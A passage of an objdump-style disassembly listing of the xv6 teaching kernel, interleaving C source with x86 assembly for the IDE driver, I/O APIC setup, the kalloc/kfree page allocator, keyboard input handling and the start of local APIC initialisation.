801027e0: 74 15 je 801027f7 <iderw+0x56>
801027e2: a1 38 b6 10 80 mov 0x8010b638,%eax
801027e7: 85 c0 test %eax,%eax
801027e9: 75 0c jne 801027f7 <iderw+0x56>
panic("iderw: ide disk 1 not present");
801027eb: c7 04 24 22 88 10 80 movl $0x80108822,(%esp)
801027f2: e8 43 dd ff ff call 8010053a <panic>
acquire(&idelock); //DOC:acquire-lock
801027f7: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
801027fe: e8 0e 26 00 00 call 80104e11 <acquire>
// Append b to idequeue.
b->qnext = 0;
80102803: 8b 45 08 mov 0x8(%ebp),%eax
80102806: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010280d: c7 45 f4 34 b6 10 80 movl $0x8010b634,-0xc(%ebp)
80102814: eb 0b jmp 80102821 <iderw+0x80>
80102816: 8b 45 f4 mov -0xc(%ebp),%eax
80102819: 8b 00 mov (%eax),%eax
8010281b: 83 c0 14 add $0x14,%eax
8010281e: 89 45 f4 mov %eax,-0xc(%ebp)
80102821: 8b 45 f4 mov -0xc(%ebp),%eax
80102824: 8b 00 mov (%eax),%eax
80102826: 85 c0 test %eax,%eax
80102828: 75 ec jne 80102816 <iderw+0x75>
;
*pp = b;
8010282a: 8b 45 f4 mov -0xc(%ebp),%eax
8010282d: 8b 55 08 mov 0x8(%ebp),%edx
80102830: 89 10 mov %edx,(%eax)
// Start disk if necessary.
if(idequeue == b)
80102832: a1 34 b6 10 80 mov 0x8010b634,%eax
80102837: 3b 45 08 cmp 0x8(%ebp),%eax
8010283a: 75 0d jne 80102849 <iderw+0xa8>
idestart(b);
8010283c: 8b 45 08 mov 0x8(%ebp),%eax
8010283f: 89 04 24 mov %eax,(%esp)
80102842: e8 72 fd ff ff call 801025b9 <idestart>
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102847: eb 15 jmp 8010285e <iderw+0xbd>
80102849: eb 13 jmp 8010285e <iderw+0xbd>
sleep(b, &idelock);
8010284b: c7 44 24 04 00 b6 10 movl $0x8010b600,0x4(%esp)
80102852: 80
80102853: 8b 45 08 mov 0x8(%ebp),%eax
80102856: 89 04 24 mov %eax,(%esp)
80102859: e8 e9 22 00 00 call 80104b47 <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010285e: 8b 45 08 mov 0x8(%ebp),%eax
80102861: 8b 00 mov (%eax),%eax
80102863: 83 e0 06 and $0x6,%eax
80102866: 83 f8 02 cmp $0x2,%eax
80102869: 75 e0 jne 8010284b <iderw+0xaa>
sleep(b, &idelock);
}
release(&idelock);
8010286b: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
80102872: e8 fc 25 00 00 call 80104e73 <release>
}
80102877: c9 leave
80102878: c3 ret
80102879 <ioapicread>:
uint data;
};
static uint
ioapicread(int reg)
{
80102879: 55 push %ebp
8010287a: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
8010287c: a1 14 22 11 80 mov 0x80112214,%eax
80102881: 8b 55 08 mov 0x8(%ebp),%edx
80102884: 89 10 mov %edx,(%eax)
return ioapic->data;
80102886: a1 14 22 11 80 mov 0x80112214,%eax
8010288b: 8b 40 10 mov 0x10(%eax),%eax
}
8010288e: 5d pop %ebp
8010288f: c3 ret
80102890 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
80102890: 55 push %ebp
80102891: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
80102893: a1 14 22 11 80 mov 0x80112214,%eax
80102898: 8b 55 08 mov 0x8(%ebp),%edx
8010289b: 89 10 mov %edx,(%eax)
ioapic->data = data;
8010289d: a1 14 22 11 80 mov 0x80112214,%eax
801028a2: 8b 55 0c mov 0xc(%ebp),%edx
801028a5: 89 50 10 mov %edx,0x10(%eax)
}
801028a8: 5d pop %ebp
801028a9: c3 ret
801028aa <ioapicinit>:
void
ioapicinit(void)
{
801028aa: 55 push %ebp
801028ab: 89 e5 mov %esp,%ebp
801028ad: 83 ec 28 sub $0x28,%esp
int i, id, maxintr;
if(!ismp)
801028b0: a1 44 23 11 80 mov 0x80112344,%eax
801028b5: 85 c0 test %eax,%eax
801028b7: 75 05 jne 801028be <ioapicinit+0x14>
return;
801028b9: e9 9d 00 00 00 jmp 8010295b <ioapicinit+0xb1>
ioapic = (volatile struct ioapic*)IOAPIC;
801028be: c7 05 14 22 11 80 00 movl $0xfec00000,0x80112214
801028c5: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
801028c8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801028cf: e8 a5 ff ff ff call 80102879 <ioapicread>
801028d4: c1 e8 10 shr $0x10,%eax
801028d7: 25 ff 00 00 00 and $0xff,%eax
801028dc: 89 45 f0 mov %eax,-0x10(%ebp)
id = ioapicread(REG_ID) >> 24;
801028df: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801028e6: e8 8e ff ff ff call 80102879 <ioapicread>
801028eb: c1 e8 18 shr $0x18,%eax
801028ee: 89 45 ec mov %eax,-0x14(%ebp)
if(id != ioapicid)
801028f1: 0f b6 05 40 23 11 80 movzbl 0x80112340,%eax
801028f8: 0f b6 c0 movzbl %al,%eax
801028fb: 3b 45 ec cmp -0x14(%ebp),%eax
801028fe: 74 0c je 8010290c <ioapicinit+0x62>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102900: c7 04 24 40 88 10 80 movl $0x80108840,(%esp)
80102907: e8 94 da ff ff call 801003a0 <cprintf>
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010290c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80102913: eb 3e jmp 80102953 <ioapicinit+0xa9>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102915: 8b 45 f4 mov -0xc(%ebp),%eax
80102918: 83 c0 20 add $0x20,%eax
8010291b: 0d 00 00 01 00 or $0x10000,%eax
80102920: 8b 55 f4 mov -0xc(%ebp),%edx
80102923: 83 c2 08 add $0x8,%edx
80102926: 01 d2 add %edx,%edx
80102928: 89 44 24 04 mov %eax,0x4(%esp)
8010292c: 89 14 24 mov %edx,(%esp)
8010292f: e8 5c ff ff ff call 80102890 <ioapicwrite>
ioapicwrite(REG_TABLE+2*i+1, 0);
80102934: 8b 45 f4 mov -0xc(%ebp),%eax
80102937: 83 c0 08 add $0x8,%eax
8010293a: 01 c0 add %eax,%eax
8010293c: 83 c0 01 add $0x1,%eax
8010293f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102946: 00
80102947: 89 04 24 mov %eax,(%esp)
8010294a: e8 41 ff ff ff call 80102890 <ioapicwrite>
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010294f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80102953: 8b 45 f4 mov -0xc(%ebp),%eax
80102956: 3b 45 f0 cmp -0x10(%ebp),%eax
80102959: 7e ba jle 80102915 <ioapicinit+0x6b>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
8010295b: c9 leave
8010295c: c3 ret
8010295d <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
8010295d: 55 push %ebp
8010295e: 89 e5 mov %esp,%ebp
80102960: 83 ec 08 sub $0x8,%esp
if(!ismp)
80102963: a1 44 23 11 80 mov 0x80112344,%eax
80102968: 85 c0 test %eax,%eax
8010296a: 75 02 jne 8010296e <ioapicenable+0x11>
return;
8010296c: eb 37 jmp 801029a5 <ioapicenable+0x48>
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
8010296e: 8b 45 08 mov 0x8(%ebp),%eax
80102971: 83 c0 20 add $0x20,%eax
80102974: 8b 55 08 mov 0x8(%ebp),%edx
80102977: 83 c2 08 add $0x8,%edx
8010297a: 01 d2 add %edx,%edx
8010297c: 89 44 24 04 mov %eax,0x4(%esp)
80102980: 89 14 24 mov %edx,(%esp)
80102983: e8 08 ff ff ff call 80102890 <ioapicwrite>
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102988: 8b 45 0c mov 0xc(%ebp),%eax
8010298b: c1 e0 18 shl $0x18,%eax
8010298e: 8b 55 08 mov 0x8(%ebp),%edx
80102991: 83 c2 08 add $0x8,%edx
80102994: 01 d2 add %edx,%edx
80102996: 83 c2 01 add $0x1,%edx
80102999: 89 44 24 04 mov %eax,0x4(%esp)
8010299d: 89 14 24 mov %edx,(%esp)
801029a0: e8 eb fe ff ff call 80102890 <ioapicwrite>
}
801029a5: c9 leave
801029a6: c3 ret
801029a7 <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
801029a7: 55 push %ebp
801029a8: 89 e5 mov %esp,%ebp
801029aa: 8b 45 08 mov 0x8(%ebp),%eax
801029ad: 05 00 00 00 80 add $0x80000000,%eax
801029b2: 5d pop %ebp
801029b3: c3 ret
801029b4 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801029b4: 55 push %ebp
801029b5: 89 e5 mov %esp,%ebp
801029b7: 83 ec 18 sub $0x18,%esp
initlock(&kmem.lock, "kmem");
801029ba: c7 44 24 04 72 88 10 movl $0x80108872,0x4(%esp)
801029c1: 80
801029c2: c7 04 24 20 22 11 80 movl $0x80112220,(%esp)
801029c9: e8 22 24 00 00 call 80104df0 <initlock>
kmem.use_lock = 0;
801029ce: c7 05 54 22 11 80 00 movl $0x0,0x80112254
801029d5: 00 00 00
freerange(vstart, vend);
801029d8: 8b 45 0c mov 0xc(%ebp),%eax
801029db: 89 44 24 04 mov %eax,0x4(%esp)
801029df: 8b 45 08 mov 0x8(%ebp),%eax
801029e2: 89 04 24 mov %eax,(%esp)
801029e5: e8 26 00 00 00 call 80102a10 <freerange>
}
801029ea: c9 leave
801029eb: c3 ret
801029ec <kinit2>:
void
kinit2(void *vstart, void *vend)
{
801029ec: 55 push %ebp
801029ed: 89 e5 mov %esp,%ebp
801029ef: 83 ec 18 sub $0x18,%esp
freerange(vstart, vend);
801029f2: 8b 45 0c mov 0xc(%ebp),%eax
801029f5: 89 44 24 04 mov %eax,0x4(%esp)
801029f9: 8b 45 08 mov 0x8(%ebp),%eax
801029fc: 89 04 24 mov %eax,(%esp)
801029ff: e8 0c 00 00 00 call 80102a10 <freerange>
kmem.use_lock = 1;
80102a04: c7 05 54 22 11 80 01 movl $0x1,0x80112254
80102a0b: 00 00 00
}
80102a0e: c9 leave
80102a0f: c3 ret
80102a10 <freerange>:
void
freerange(void *vstart, void *vend)
{
80102a10: 55 push %ebp
80102a11: 89 e5 mov %esp,%ebp
80102a13: 83 ec 28 sub $0x28,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102a16: 8b 45 08 mov 0x8(%ebp),%eax
80102a19: 05 ff 0f 00 00 add $0xfff,%eax
80102a1e: 25 00 f0 ff ff and $0xfffff000,%eax
80102a23: 89 45 f4 mov %eax,-0xc(%ebp)
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a26: eb 12 jmp 80102a3a <freerange+0x2a>
kfree(p);
80102a28: 8b 45 f4 mov -0xc(%ebp),%eax
80102a2b: 89 04 24 mov %eax,(%esp)
80102a2e: e8 16 00 00 00 call 80102a49 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a33: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80102a3a: 8b 45 f4 mov -0xc(%ebp),%eax
80102a3d: 05 00 10 00 00 add $0x1000,%eax
80102a42: 3b 45 0c cmp 0xc(%ebp),%eax
80102a45: 76 e1 jbe 80102a28 <freerange+0x18>
kfree(p);
}
80102a47: c9 leave
80102a48: c3 ret
80102a49 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102a49: 55 push %ebp
80102a4a: 89 e5 mov %esp,%ebp
80102a4c: 83 ec 28 sub $0x28,%esp
struct run *r;
if((uint)v % PGSIZE || v < end || v2p(v) >= PHYSTOP)
80102a4f: 8b 45 08 mov 0x8(%ebp),%eax
80102a52: 25 ff 0f 00 00 and $0xfff,%eax
80102a57: 85 c0 test %eax,%eax
80102a59: 75 1b jne 80102a76 <kfree+0x2d>
80102a5b: 81 7d 08 b8 51 11 80 cmpl $0x801151b8,0x8(%ebp)
80102a62: 72 12 jb 80102a76 <kfree+0x2d>
80102a64: 8b 45 08 mov 0x8(%ebp),%eax
80102a67: 89 04 24 mov %eax,(%esp)
80102a6a: e8 38 ff ff ff call 801029a7 <v2p>
80102a6f: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102a74: 76 0c jbe 80102a82 <kfree+0x39>
panic("kfree");
80102a76: c7 04 24 77 88 10 80 movl $0x80108877,(%esp)
80102a7d: e8 b8 da ff ff call 8010053a <panic>
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102a82: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80102a89: 00
80102a8a: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102a91: 00
80102a92: 8b 45 08 mov 0x8(%ebp),%eax
80102a95: 89 04 24 mov %eax,(%esp)
80102a98: e8 c8 25 00 00 call 80105065 <memset>
if(kmem.use_lock)
80102a9d: a1 54 22 11 80 mov 0x80112254,%eax
80102aa2: 85 c0 test %eax,%eax
80102aa4: 74 0c je 80102ab2 <kfree+0x69>
acquire(&kmem.lock);
80102aa6: c7 04 24 20 22 11 80 movl $0x80112220,(%esp)
80102aad: e8 5f 23 00 00 call 80104e11 <acquire>
r = (struct run*)v;
80102ab2: 8b 45 08 mov 0x8(%ebp),%eax
80102ab5: 89 45 f4 mov %eax,-0xc(%ebp)
r->next = kmem.freelist;
80102ab8: 8b 15 58 22 11 80 mov 0x80112258,%edx
80102abe: 8b 45 f4 mov -0xc(%ebp),%eax
80102ac1: 89 10 mov %edx,(%eax)
kmem.freelist = r;
80102ac3: 8b 45 f4 mov -0xc(%ebp),%eax
80102ac6: a3 58 22 11 80 mov %eax,0x80112258
if(kmem.use_lock)
80102acb: a1 54 22 11 80 mov 0x80112254,%eax
80102ad0: 85 c0 test %eax,%eax
80102ad2: 74 0c je 80102ae0 <kfree+0x97>
release(&kmem.lock);
80102ad4: c7 04 24 20 22 11 80 movl $0x80112220,(%esp)
80102adb: e8 93 23 00 00 call 80104e73 <release>
}
80102ae0: c9 leave
80102ae1: c3 ret
80102ae2 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102ae2: 55 push %ebp
80102ae3: 89 e5 mov %esp,%ebp
80102ae5: 83 ec 28 sub $0x28,%esp
struct run *r;
if(kmem.use_lock)
80102ae8: a1 54 22 11 80 mov 0x80112254,%eax
80102aed: 85 c0 test %eax,%eax
80102aef: 74 0c je 80102afd <kalloc+0x1b>
acquire(&kmem.lock);
80102af1: c7 04 24 20 22 11 80 movl $0x80112220,(%esp)
80102af8: e8 14 23 00 00 call 80104e11 <acquire>
r = kmem.freelist;
80102afd: a1 58 22 11 80 mov 0x80112258,%eax
80102b02: 89 45 f4 mov %eax,-0xc(%ebp)
if(r)
80102b05: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102b09: 74 0a je 80102b15 <kalloc+0x33>
kmem.freelist = r->next;
80102b0b: 8b 45 f4 mov -0xc(%ebp),%eax
80102b0e: 8b 00 mov (%eax),%eax
80102b10: a3 58 22 11 80 mov %eax,0x80112258
if(kmem.use_lock)
80102b15: a1 54 22 11 80 mov 0x80112254,%eax
80102b1a: 85 c0 test %eax,%eax
80102b1c: 74 0c je 80102b2a <kalloc+0x48>
release(&kmem.lock);
80102b1e: c7 04 24 20 22 11 80 movl $0x80112220,(%esp)
80102b25: e8 49 23 00 00 call 80104e73 <release>
return (char*)r;
80102b2a: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102b2d: c9 leave
80102b2e: c3 ret
80102b2f <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102b2f: 55 push %ebp
80102b30: 89 e5 mov %esp,%ebp
80102b32: 83 ec 14 sub $0x14,%esp
80102b35: 8b 45 08 mov 0x8(%ebp),%eax
80102b38: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b3c: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80102b40: 89 c2 mov %eax,%edx
80102b42: ec in (%dx),%al
80102b43: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102b46: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80102b4a: c9 leave
80102b4b: c3 ret
80102b4c <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102b4c: 55 push %ebp
80102b4d: 89 e5 mov %esp,%ebp
80102b4f: 83 ec 14 sub $0x14,%esp
static uchar *charcode[4] = {
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
80102b52: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102b59: e8 d1 ff ff ff call 80102b2f <inb>
80102b5e: 0f b6 c0 movzbl %al,%eax
80102b61: 89 45 f4 mov %eax,-0xc(%ebp)
if((st & KBS_DIB) == 0)
80102b64: 8b 45 f4 mov -0xc(%ebp),%eax
80102b67: 83 e0 01 and $0x1,%eax
80102b6a: 85 c0 test %eax,%eax
80102b6c: 75 0a jne 80102b78 <kbdgetc+0x2c>
return -1;
80102b6e: b8 ff ff ff ff mov $0xffffffff,%eax
80102b73: e9 25 01 00 00 jmp 80102c9d <kbdgetc+0x151>
data = inb(KBDATAP);
80102b78: c7 04 24 60 00 00 00 movl $0x60,(%esp)
80102b7f: e8 ab ff ff ff call 80102b2f <inb>
80102b84: 0f b6 c0 movzbl %al,%eax
80102b87: 89 45 fc mov %eax,-0x4(%ebp)
if(data == 0xE0){
80102b8a: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp)
80102b91: 75 17 jne 80102baa <kbdgetc+0x5e>
shift |= E0ESC;
80102b93: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102b98: 83 c8 40 or $0x40,%eax
80102b9b: a3 3c b6 10 80 mov %eax,0x8010b63c
return 0;
80102ba0: b8 00 00 00 00 mov $0x0,%eax
80102ba5: e9 f3 00 00 00 jmp 80102c9d <kbdgetc+0x151>
} else if(data & 0x80){
80102baa: 8b 45 fc mov -0x4(%ebp),%eax
80102bad: 25 80 00 00 00 and $0x80,%eax
80102bb2: 85 c0 test %eax,%eax
80102bb4: 74 45 je 80102bfb <kbdgetc+0xaf>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102bb6: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102bbb: 83 e0 40 and $0x40,%eax
80102bbe: 85 c0 test %eax,%eax
80102bc0: 75 08 jne 80102bca <kbdgetc+0x7e>
80102bc2: 8b 45 fc mov -0x4(%ebp),%eax
80102bc5: 83 e0 7f and $0x7f,%eax
80102bc8: eb 03 jmp 80102bcd <kbdgetc+0x81>
80102bca: 8b 45 fc mov -0x4(%ebp),%eax
80102bcd: 89 45 fc mov %eax,-0x4(%ebp)
shift &= ~(shiftcode[data] | E0ESC);
80102bd0: 8b 45 fc mov -0x4(%ebp),%eax
80102bd3: 05 20 90 10 80 add $0x80109020,%eax
80102bd8: 0f b6 00 movzbl (%eax),%eax
80102bdb: 83 c8 40 or $0x40,%eax
80102bde: 0f b6 c0 movzbl %al,%eax
80102be1: f7 d0 not %eax
80102be3: 89 c2 mov %eax,%edx
80102be5: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102bea: 21 d0 and %edx,%eax
80102bec: a3 3c b6 10 80 mov %eax,0x8010b63c
return 0;
80102bf1: b8 00 00 00 00 mov $0x0,%eax
80102bf6: e9 a2 00 00 00 jmp 80102c9d <kbdgetc+0x151>
} else if(shift & E0ESC){
80102bfb: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c00: 83 e0 40 and $0x40,%eax
80102c03: 85 c0 test %eax,%eax
80102c05: 74 14 je 80102c1b <kbdgetc+0xcf>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102c07: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp)
shift &= ~E0ESC;
80102c0e: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c13: 83 e0 bf and $0xffffffbf,%eax
80102c16: a3 3c b6 10 80 mov %eax,0x8010b63c
}
shift |= shiftcode[data];
80102c1b: 8b 45 fc mov -0x4(%ebp),%eax
80102c1e: 05 20 90 10 80 add $0x80109020,%eax
80102c23: 0f b6 00 movzbl (%eax),%eax
80102c26: 0f b6 d0 movzbl %al,%edx
80102c29: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c2e: 09 d0 or %edx,%eax
80102c30: a3 3c b6 10 80 mov %eax,0x8010b63c
shift ^= togglecode[data];
80102c35: 8b 45 fc mov -0x4(%ebp),%eax
80102c38: 05 20 91 10 80 add $0x80109120,%eax
80102c3d: 0f b6 00 movzbl (%eax),%eax
80102c40: 0f b6 d0 movzbl %al,%edx
80102c43: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c48: 31 d0 xor %edx,%eax
80102c4a: a3 3c b6 10 80 mov %eax,0x8010b63c
c = charcode[shift & (CTL | SHIFT)][data];
80102c4f: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c54: 83 e0 03 and $0x3,%eax
80102c57: 8b 14 85 20 95 10 80 mov -0x7fef6ae0(,%eax,4),%edx
80102c5e: 8b 45 fc mov -0x4(%ebp),%eax
80102c61: 01 d0 add %edx,%eax
80102c63: 0f b6 00 movzbl (%eax),%eax
80102c66: 0f b6 c0 movzbl %al,%eax
80102c69: 89 45 f8 mov %eax,-0x8(%ebp)
if(shift & CAPSLOCK){
80102c6c: a1 3c b6 10 80 mov 0x8010b63c,%eax
80102c71: 83 e0 08 and $0x8,%eax
80102c74: 85 c0 test %eax,%eax
80102c76: 74 22 je 80102c9a <kbdgetc+0x14e>
if('a' <= c && c <= 'z')
80102c78: 83 7d f8 60 cmpl $0x60,-0x8(%ebp)
80102c7c: 76 0c jbe 80102c8a <kbdgetc+0x13e>
80102c7e: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp)
80102c82: 77 06 ja 80102c8a <kbdgetc+0x13e>
c += 'A' - 'a';
80102c84: 83 6d f8 20 subl $0x20,-0x8(%ebp)
80102c88: eb 10 jmp 80102c9a <kbdgetc+0x14e>
else if('A' <= c && c <= 'Z')
80102c8a: 83 7d f8 40 cmpl $0x40,-0x8(%ebp)
80102c8e: 76 0a jbe 80102c9a <kbdgetc+0x14e>
80102c90: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp)
80102c94: 77 04 ja 80102c9a <kbdgetc+0x14e>
c += 'a' - 'A';
80102c96: 83 45 f8 20 addl $0x20,-0x8(%ebp)
}
return c;
80102c9a: 8b 45 f8 mov -0x8(%ebp),%eax
}
80102c9d: c9 leave
80102c9e: c3 ret
80102c9f <kbdintr>:
void
kbdintr(void)
{
80102c9f: 55 push %ebp
80102ca0: 89 e5 mov %esp,%ebp
80102ca2: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
80102ca5: c7 04 24 4c 2b 10 80 movl $0x80102b4c,(%esp)
80102cac: e8 fc da ff ff call 801007ad <consoleintr>
}
80102cb1: c9 leave
80102cb2: c3 ret
80102cb3 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102cb3: 55 push %ebp
80102cb4: 89 e5 mov %esp,%ebp
80102cb6: 83 ec 14 sub $0x14,%esp
80102cb9: 8b 45 08 mov 0x8(%ebp),%eax
80102cbc: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102cc0: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80102cc4: 89 c2 mov %eax,%edx
80102cc6: ec in (%dx),%al
80102cc7: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102cca: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80102cce: c9 leave
80102ccf: c3 ret
80102cd0 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80102cd0: 55 push %ebp
80102cd1: 89 e5 mov %esp,%ebp
80102cd3: 83 ec 08 sub $0x8,%esp
80102cd6: 8b 55 08 mov 0x8(%ebp),%edx
80102cd9: 8b 45 0c mov 0xc(%ebp),%eax
80102cdc: 66 89 55 fc mov %dx,-0x4(%ebp)
80102ce0: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102ce3: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80102ce7: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80102ceb: ee out %al,(%dx)
}
80102cec: c9 leave
80102ced: c3 ret
80102cee <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80102cee: 55 push %ebp
80102cef: 89 e5 mov %esp,%ebp
80102cf1: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102cf4: 9c pushf
80102cf5: 58 pop %eax
80102cf6: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80102cf9: 8b 45 fc mov -0x4(%ebp),%eax
}
80102cfc: c9 leave
80102cfd: c3 ret
80102cfe <lapicw>:
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
80102cfe: 55 push %ebp
80102cff: 89 e5 mov %esp,%ebp
lapic[index] = value;
80102d01: a1 5c 22 11 80 mov 0x8011225c,%eax
80102d06: 8b 55 08 mov 0x8(%ebp),%edx
80102d09: c1 e2 02 shl $0x2,%edx
80102d0c: 01 c2 add %eax,%edx
80102d0e: 8b 45 0c mov 0xc(%ebp),%eax
80102d11: 89 02 mov %eax,(%edx)
lapic[ID]; // wait for write to finish, by reading
80102d13: a1 5c 22 11 80 mov 0x8011225c,%eax
80102d18: 83 c0 20 add $0x20,%eax
80102d1b: 8b 00 mov (%eax),%eax
}
80102d1d: 5d pop %ebp
80102d1e: c3 ret
80102d1f <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
80102d1f: 55 push %ebp
80102d20: 89 e5 mov %esp,%ebp
80102d22: 83 ec 08 sub $0x8,%esp
if(!lapic)
80102d25: a1 5c 22 11 80 mov 0x8011225c,%eax
80102d2a: 85 c0 test %eax,%eax
80102d2c: 75 05 jne 80102d33 <lapicinit+0x14>
return;
80102d2e: e9 43 01 00 00 jmp 80102e76 <lapicinit+0x157>
// Enable local APIC; set spurious interrupt vector.
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
80102d33: c7 44 24 04 3f 01 00 movl $0x13f,0x4(%esp)
80102d3a: 00
80102d3b: c7 04 24 3c 00 00 00 movl $0x3c,(%esp)
80102d42: e8 b7 ff ff ff call 80102cfe <lapicw>
// The timer repeatedly counts down at bus frequency
// from lapic[TICR] and then issues an interrupt.
// If xv6 cared more about precise timekeeping,
// TICR would be calibrated using an external time source.
lapicw(TDCR, X1);
80102d47: c7 44 24 04 0b 00 00 movl $0xb,0x4(%esp)
80102d4e: 00
80102d4f: c7 04 24 f8 00 00 00 movl $0xf8,(%esp)
80102d56: e8 a3 ff ff ff call 80102cfe <lapicw>
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
80102d5b: c7 44 24 04 20 00 02 movl $0x20020,0x4(%esp)
80102d62: 00
80102d63: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102d6a: e8 8f ff ff ff call 80102cfe <lapicw>
lapicw(TICR, 10000000);
80102d6f: c7 44 24 04 80 96 98 movl $0x989680,0x4(%esp)
80102d76: 00
80102d77: c7 04 24 e0 00 00 00 movl $0xe0,(%esp)
80102d7e: e8 7b ff ff ff call 80102cfe <lapicw>
// Disable logical interrupt lines.
lapicw(LINT0, MASKED);
80102d83: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102d8a: 00
80102d8b: c7 04 24 d4 00 00 00 movl $0xd4,(%esp)
80102d92: e8 67 ff ff ff call 80102cfe <lapicw>
lapicw(LINT1, MASKED);
80102d97: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102d9e: 00
80102d9f: c7 04 24 d8 00 00 00 movl $0xd8,(%esp)
80102da6: e8 53 ff ff ff call 80102cfe <lapicw>
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
80102dab: a1 5c 22 11 80 mov 0x8011225c,%eax
80102db0: 83 c0 30 add $0x30,%eax
80102db3: 8b 00 mov (%eax),%eax
80102db5: c1 e8 10 shr $0x10,%eax
